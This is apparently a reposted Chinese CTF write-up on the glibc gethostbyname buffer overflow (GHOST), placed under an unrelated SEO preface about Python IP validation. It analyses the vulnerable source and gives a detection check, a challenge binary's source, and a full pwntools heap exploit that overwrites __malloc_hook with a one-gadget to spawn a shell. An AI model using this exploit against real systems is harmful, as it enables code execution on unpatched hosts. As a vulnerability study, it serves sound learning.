前言:
此时咱们对“python判断输入的ip地址的合法性”大致比较看重,你们都需要了解一些“python判断输入的ip地址的合法性”的相关内容。那么小编同时在网络上搜集了一些关于“python判断输入的ip地址的合法性””的相关资讯,希望各位老铁们能喜欢,你们一起来学习一下吧!漏洞描述glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞,导致使用gethostbyname系列函数的某些软件存在代码执行或者信息泄露的安全风险通过gethostbyname()函数或gethostbyname2()函数,将可能产生一个堆上的缓冲区溢出经由gethostbyname_r()或gethostbyname2_r(),则会触发调用者提供的缓冲区溢出漏洞产生时至多sizeof(char* )个字节可被覆盖影响范围:2.2 <= glibc <=2.17gethostbyname*()系列函数
#include <netdb.h>struct hostent * gethostbyname(const char * hostname); //根据输入的主机名,查找IP地址/* Glibc2 also has reentrant versions gethostent_r(), gethostbyaddr_r(), gethostbyname_r() and gethostbyname2_r(). The caller supplies a hostent structure ret which will be filled in on success, and a temporary work buffer buf of size buflen. After the call, result will point to the result on success. */int gethostbyname_r( //和gethostbyname原理一样,只是内存分配交给用户 const char *name, //要解析的名字 struct hostent *ret, //保存返回值的地方 char *buf, //这个函数运行时的缓冲区 size_t buflen, //缓冲区长度 struct hostent **result,//如果失败,则result为null,如果成功则指向ret int *h_errnop //保存错误代码 );结构体
/* Description of data base entry for a single host. 描述一个地址最基本的条目 */struct hostent{ char *h_name; /* Official name of host. 正式主机名*/ char **h_aliases; /* Alias list. 别名*/ int h_addrtype; /* Host address type. IP地址类型*/ int h_length; /* Length of address. 地址长度*/ char **h_addr_list; /* List of addresses from name server. IP地址列表*/};用法
#include <stdio.h>#include <netdb.h>#include <arpa/inet.h>int main(int argc, char** argv){ char* name = argv[1]; struct hostent* host = gethostbyname(name); if(host==NULL) printf("error\n"); else{ printf("%s\n", host->h_name); for(int i=0; host->h_aliases[i]!=NULL; i++) printf("\t%s\n", host->h_aliases[i]); printf("IP type %d, IP addr len %d\n", host->h_addrtype, host->h_length); char buffer[INET_ADDRSTRLEN]; for(int i=0; host->h_addr_list[i]!=NULL; i++){ char* ip = inet_ntop(host->h_addrtype, host->h_addr_list[i], buffer, sizeof(buffer)); printf("\t%s\n", ip); } }}
特殊点:如果name输入的是IP地址,则不会去DNS查询,而是直接写入到hostent指向的内存区中,这里因为没有进行合法性判断,所以输入奇怪的IP,比如检测代码中的一串0。它会被直接写入tmp.buffer,一同写入的还包括解析的主机信息。所以就很容易超过tmp.buffer的长度,造成溢出。
POC
#include <netdb.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#define CANARY "in_the_coal_mine"struct{ char buffer[1024]; char canary[sizeof(CANARY)];} temp = {"buffer", CANARY};int main(void){ struct hostent resbuf; struct hostent *result; int herrno; int retval; /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16 * sizeof(unsigned char) - 2 * sizeof(char *) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) { puts("vulnerable"); exit(EXIT_SUCCESS); } if (retval == ERANGE) { puts("not vulnerable"); exit(EXIT_SUCCESS); } puts("should not happen"); exit(EXIT_FAILURE);}源码分析
gethostbyname函数入口点在inet/gethsbynm.c系列文件中
#define LOOKUP_TYPE struct hostent#define FUNCTION_NAME gethostbyname#define DATABASE_NAME hosts#define ADD_PARAMS const char *name#define ADD_VARIABLES name#define BUFLEN 1024#define NEED_H_ERRNO 1#define HANDLE_DIGITS_DOTS 1#include <nss/getXXbyYY.c> //通过宏达到模版展开的效果nss/getXXbyYY.c也先通过__nss_hostname_digits_dots()判断是否为IP,如果要解析IP的话就直接结束如果是域名那么后面调用__gethostbyname_r()进行解析
//根据宏定义, 会自动被展开为一个函数定义, 这里会展开为gethostbyname()的定义LOOKUP_TYPE *FUNCTION_NAME(const char *name) //函数定义{ static size_t buffer_size; //静态缓冲区的长度 static LOOKUP_TYPE resbuf; LOOKUP_TYPE *result;#ifdef NEED_H_ERRNO int h_errno_tmp = 0;#endif /* Get lock. */ __libc_lock_lock(lock); if (buffer == NULL) //如果没有缓冲区就自己申请一个 { buffer_size = BUFLEN; buffer = (char *)malloc(buffer_size); }#ifdef HANDLE_DIGITS_DOTS if (buffer != NULL) { /* - 发生漏洞的函数 - __nss_hostname_digits_dots()先对name进行预处理 - 如果要解析的name就是IP, 那就复制到resbuf中, 然后返回1 - 如果是域名, 那么就复制到resbuf中, 返回0 - 如果返回1, 说明解析的就是IP, 你那么进入done, 解析结束 */ if (__nss_hostname_digits_dots(name, //传入的参数: 域名 &resbuf, //解析结果 &buffer, //缓冲区 &buffer_size, //缓冲区大小指针 0, //缓冲区大小 &result, //存放结果的指针 NULL, //存放状态的指针 AF_VAL, //地址族 H_ERRNO_VAR_P //错误代码 )) goto done; }#endif /* DNS域名解析,宏展开 * (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) * => (INTERNAL(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) * => (INTERNAL1(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) * => __gethostbyname_r(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) */ while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)#ifdef NEED_H_ERRNO && h_errno_tmp == NETDB_INTERNAL#endif ) { char *new_buf; buffer_size *= 2; new_buf = (char *)realloc(buffer, buffer_size); if (new_buf == NULL) { /* We are out of memory. Free the current buffer so that the process gets a chance for a normal termination. */ free(buffer); __set_errno(ENOMEM); } buffer = new_buf; } if (buffer == NULL) result = NULL;#ifdef HANDLE_DIGITS_DOTSdone:#endif /* Release lock. */ __libc_lock_unlock(lock);#ifdef NEED_H_ERRNO if (h_errno_tmp != 0) __set_h_errno(h_errno_tmp);#endif return result;}漏洞函数:nss/digits_dots.c :__nss_hostname_digits_dots(name, resbuf, buffer, …)这个函数负责处理name为IP地址的情况, 当name为域名时只是进行一些复制工作name指向要解析的字符串resbuf指向存放解析结果的hostennt结构体buffer则为解析时所分配的空间, resbuf中的指针指向buffer分配的空间
int __nss_hostname_digits_dots(const char *name, //要解析的名字 struct hostent *resbuf, //存放结果的缓冲区 char **buffer, //缓冲区 size_t *buffer_size, //缓冲区长度 1K size_t buflen, //0 struct hostent **result, //指向结果指针的指针 enum nss_status *status, //状态 NULL int af, //地址族 int *h_errnop) //错误代码{ int save; //... /* * disallow names consisting only of digits/dots, unless they end in a dot. * 不允许name只包含数字和点,除非用点结束 */ if (isdigit(name[0]) || isxdigit(name[0]) || name[0] == ':') //name开头是十进制字符/十六进制字符/冒号,就判断为IP地址 { const char *cp; char *hostname; //host_addr是一个指向16个unsignned char数组的指针 typedef unsigned char host_addr_t[16]; host_addr_t *host_addr; //h_addr_ptrs就是一个指向两个char*数组的指针 typedef char *host_addr_list_t[2]; host_addr_list_t *h_addr_ptrs; //别名的指针列表 char **h_alias_ptr; //需要的空间 size_t size_needed; //根据地址族计算IP地址长度 int addr_size; switch (af) { case AF_INET: //IPV4 addr_size = INADDRSZ; //INADDRSZ=4 break; case AF_INET6: //IPV6 addr_size = IN6ADDRSZ; //IN6ADDRSZ=16 break; default: af = (_res.options & RES_USE_INET6) ? AF_INET6 : AF_INET; addr_size = af == AF_INET6 ? IN6ADDRSZ : INADDRSZ; break; } //计算函数运行所需要的缓冲区大小,这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出 size_needed = (sizeof(*host_addr) + sizeof(*h_addr_ptrs) + strlen(name) + 1); //16 + 16 + strlen(name) + 1 //如果buffer_size指针为空, 并且buflen还不够, 那么重新申请缓冲区时就没法更新buffer_size, 只能报错 if (buffer_size == NULL) { if (buflen < size_needed) { if (h_errnop != NULL) *h_errnop = TRY_AGAIN; __set_errno(ERANGE); goto done; } } else if (buffer_size != NULL && *buffer_size < size_needed) //如果给的缓冲区不足,就重新调整buffer空间 { char *new_buf; *buffer_size = size_needed; //新buffer_size new_buf = (char *)realloc(*buffer, *buffer_size); //就把buffer空间调整到所需要的大小 //分配失败 if (new_buf == NULL) { save = errno; free(*buffer); *buffer = NULL; *buffer_size = 0; __set_errno(save); if (h_errnop != NULL) *h_errnop = TRY_AGAIN; *result = NULL; goto done; } *buffer = new_buf; //写入新缓冲区 } //缓冲区初始化 memset(*buffer, '\0', size_needed); //对缓冲区进行分割 host_addr = (host_addr_t *)*buffer; //占用0x10B [*buffer, *buffer + 0x10) h_addr_ptrs = (host_addr_list_t *)((char *)host_addr + sizeof(*host_addr)); //占用0x10B [*buffer + 0x10, *buffer + 0x20) //这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出 h_alias_ptr = (char **)((char *)h_addr_ptrs + sizeof(*h_addr_ptrs)); //占用0x8B [*buffer + 0x20, *buffer + 0x28) hostname = (char *)h_alias_ptr + sizeof(*h_alias_ptr); //占用strlen(name)+1 [*buffer + 0x28, *buffer + 0x28 + strlen(name) + 1) if (isdigit(name[0])) //IPv4: 开头是数字 { for (cp = name;; ++cp) //遍历name { if (*cp == '\0') //如果name结束了 { int ok; if (*--cp == '.') //如果是.\0这样的,则非法 break; //IP地址是字符串表示,转换成网络序列保存在host_addr中, host_addr用的就是函数内部的缓冲区*buffer if (af == AF_INET) ok = __inet_aton(name, (struct in_addr *)host_addr); else { assert(af == AF_INET6); ok = inet_pton(af, name, host_addr) > 0; } //转换出错 if (!ok) { *h_errnop = HOST_NOT_FOUND; if (buffer_size) *result = NULL; goto done; } //直接把name复制到hostname中, 用hostname作为结果中的h_name //strcpy从*buffer+0x28开始写入strlen(name)+1, 产生溢出 resbuf->h_name = strcpy(hostname, name); //没有别名 h_alias_ptr[0] = NULL; resbuf->h_aliases = h_alias_ptr; //h_addr_list只有一个 (*h_addr_ptrs)[0] = (char *)host_addr; //地址也是一样的 (*h_addr_ptrs)[1] = NULL; resbuf->h_addr_list = *h_addr_ptrs; //设置长度与IP地址类型 if (af == AF_INET && (_res.options & RES_USE_INET6)) { //... } else { resbuf->h_addrtype = af; resbuf->h_length = addr_size; } //返回的状态 //... //结束 goto done; } if (!isdigit(*cp) && *cp != '.') //既不是字母,又不是. 那么就不是合法的IPv4,退出 break; } } if ((isxdigit(name[0]) && strchr(name, ':') != NULL) || name[0] == ':') //IPv6: 开始是hex字符并且包含':'. 或者包含分号 { //... } } return 0;done: return 1;}判断IP地址的方法很简陋在生成hostent结构体时出了问题没有计算h_alias_ptr
图示:
因此把hostname复制过去,在这里产生了溢出8B函数的数据结构:题目解析题目源码
//gcc pwn.c -g -o pwn#include <stdio.h>#include <netdb.h>#include <stdlib.h>#include <arpa/inet.h>#define MAX 16struct hostent* HostArr[MAX];char* BufferArr[MAX];char* NameArr[MAX];int Menu(void){ puts("1.InputName"); puts("2.ShowHost"); puts("3.Delete"); puts("4.Exit"); printf(">>"); int cmd; scanf("%d", &cmd); return cmd;}void InputName(void){ //read idx int idx; printf("idx:"); scanf("%d", &idx); if(idx<0 || idx>=MAX) exit(0); //alloc name buf int len; printf("len:"); scanf("%d", &len); NameArr[idx] = malloc(len+1); if(NameArr[idx]==NULL) exit(0); //read name int i; for(i=0; i<len; i++) { char C; read(0, &C, 1); NameArr[idx][i] = C; if(NameArr[idx][i]=='\n') break; } NameArr[idx][i]='\0'; //allloc buffer int buffer_size = 0x20+len+1; BufferArr[idx] = malloc(buffer_size); //get host by name HostArr[idx] = malloc(sizeof(struct hostent)); struct hostent* res; int herrno; gethostbyname_r(NameArr[idx], HostArr[idx], BufferArr[idx], buffer_size, &res, &herrno);}void ShowHost(void){ //read idx int idx; printf("idx:"); scanf("%d", &idx); if(idx<0 || idx>=MAX) exit(0); struct hostent* host = HostArr[idx]; //host name if(host->h_name!=NULL) printf("%s\n", host->h_name); //IP if(host->h_addr_list!=NULL) for(int i=0; host->h_addr_list[i]!=NULL; i++){ char* ip = host->h_addr_list[i]; printf("%s\n", ip); }}void Delete(void){ //read idx int idx; printf("idx:"); scanf("%d", &idx); if(idx<0 || idx>=MAX) exit(0); free(NameArr[idx]); NameArr[idx]=NULL; free(BufferArr[idx]); BufferArr[idx]=NULL; free(HostArr[idx]); HostArr[idx]=NULL;}int main(int argc, char** argv){ setbuf(stdin, NULL); setbuf(stdout, NULL); int cmd=0; while(1) { cmd = Menu(); if(cmd==1) InputName(); else if(cmd==2) ShowHost(); else if(cmd==3) Delete(); else break; } return 0;}编译时保护全开patchelf让编译出的文件使用2.17的libcpatchelf --set-interpreter `pwd`/ld.so.2 --set-rpath `pwd` ./pwn思路构造chunk重叠覆盖size的目的是构造chunk重叠, 这样才能控制堆上的各种指针__nss_hostname_digits_dots向buffer写入时要求只能是.和十进制字符, 实测发现只写入0是最稳定可以溢出的hostent的size本来就是0x30, 只覆盖为一个’0’也还是0x30, 因此覆盖两个0, 让chunksize变成0x3030自此又产生了三种思路,如果覆盖为0x3031, 在chunk后面放0x21的在使用chunk, 直接得到一个非常大的UBchunk使用top chunk作为后一个chunk, 从而与top合并如果覆盖为0x3030, 那么可以通过P=0向前合并free时的检查check_in_chunk()检查最少的就是后一个chunkP=1, 并且不是top chunk的情况,因此溢出Bufer的size为0x3031之后, 只需要再Buffer chunk+0x3030处伪造放上一个flat(0, 0x21, 0, 0)的chunk就可得到一个很大的UBchunk__nss_hostname_digits_dots在写入时对于name限制很多, 因此我们只用他去溢出size, 读入name的过程对字符限制很少, 因此总体思路为利用gethostbyname_r()溢出size利用read(0, name, ..)进行写入任意数据泄露地址Show时会通过hostent结构体中得到指针进行输出, 因此我们打出chunk 重叠之后, 有两个思路利用00写入覆盖hostent.h_name指针的最低字节, 使其指向某个指针, 然后泄露地址直接Bin机制在hostent中写入指针, 然后写入地址第二种更具有普适性, 不需要细致的调整, 因此选择第二个思路:假如有N0 | B0|H0 | N1 | B1 | H1利用__nss_hostname_digits_dots()在写入B0时溢出0的chunk size为0x3031然后通过布局在H0+0x3030的位置放上flat(0, 0x21, 0, 0)伪造H0的nextchunk
f – ree(H0)即可打出chunk 重叠, 此时UB<=>(B0, H0, N1, B1, H1)
然后通过切割UB, 使得UB的fd bk指针写入到H1内部, 如下图然后show(3)即可泄露地址getshell有了地址之后getshell就很容易了再N1 B1 H1后面通过布局0x70的chunk, 然后free掉, 进入Fastbin[0x70]然后继续切割chunk, 修改fastbin chunk的fd为__malloc_hook-0x23, 利用0x7F伪造size然后修改__malloc_hook为OGGEXP#! /usr/bin/python# coding=utf-8import sysfrom pwn import *from random import randintcontext.log_level = 'debug'context(arch='amd64', os='linux')elf_path = "./pwn"elf = ELF(elf_path)libc = ELF('libc.so.6')def Log(name): log.success(name+' = '+hex(eval(name)))if(len(sys.argv)==1): #local cmd = [elf_path] sh = process(cmd) #proc_base = sh.libs()['/home/parallels/pwn']else: #remtoe sh = remote('118.190.62.234', 12435)def Num(n): sh.sendline(str(n))def Cmd(n): sh.recvuntil('>>') Num(n)def Name(idx, name): Cmd(1) sh.recvuntil('idx:') Num(idx) sh.recvuntil('len:') Num(len(name)) sh.sendline(name)def Show(idx): Cmd(2) sh.recvuntil('idx:') Num(idx)def Delete(idx): Cmd(3) sh.recvuntil('idx:') Num(idx)#chunk overlapName(0, '0'*0x2F)Name(1, '0'*0x40+'10')Name(2, '0'*0x5F)Name(3, '0'*0x1F)Delete(3)Name(3, '0'*0x1F) #switch Name and HostName(10, '0'*0x5F)Name(11, '0'*0x5F)Name(12, '0'*0x5F)Name(13, '0'*0x5F)exp = '0'*0x2950exp+= flat(0, 0x21, 0, 0) #B0's next chunkName(5, exp)Delete(1) #UB<=>(H0, 0x3030)#leak addrexp = '0'.ljust(0x7F, '\x00')Name(6, exp) #split UB chunk, H3's h_addr_list=UB's bkShow(3)sh.recvuntil('0'*0x1F+'\n\n')heap_addr = u64(sh.recv(6).ljust(8, '\x00'))-0x358Log('heap_addr')sh.recv(17)libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x3c17a8Log('libc.address')#fastbin AttackDelete(10)exp = '0'*0x4FName(7, exp)exp = '0'*0x10exp+= flat(0, 0x71, libc.symbols['__malloc_hook']-0x23)exp = exp.ljust(0xBF, '0')Name(7, exp)Name(8, '0'*0x5F)exp = '0'*0x13exp+= p64(libc.address+0x462b8)Name(8, exp.ljust(0x5F, '0'))#gdb.attach(sh, '''#heap bins#telescope 0x202040+0x0000555555554000 48#break malloc#''')sh.interactive()'''NameArr telescope 0x202040+0x0000555555554000HostArr telescope 0x2020C0+0x0000555555554000BufferArr telescope 0x2022C0+0x0000555555554000 0x46262 execve("/bin/sh", rsp+0x40, environ)constraints: rax == NULL0x462b8 execve("/bin/sh", rsp+0x40, environ)constraints: [rsp+0x40] == NULL0xe66b5 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL'''
标签: #python判断输入的ip地址的合法性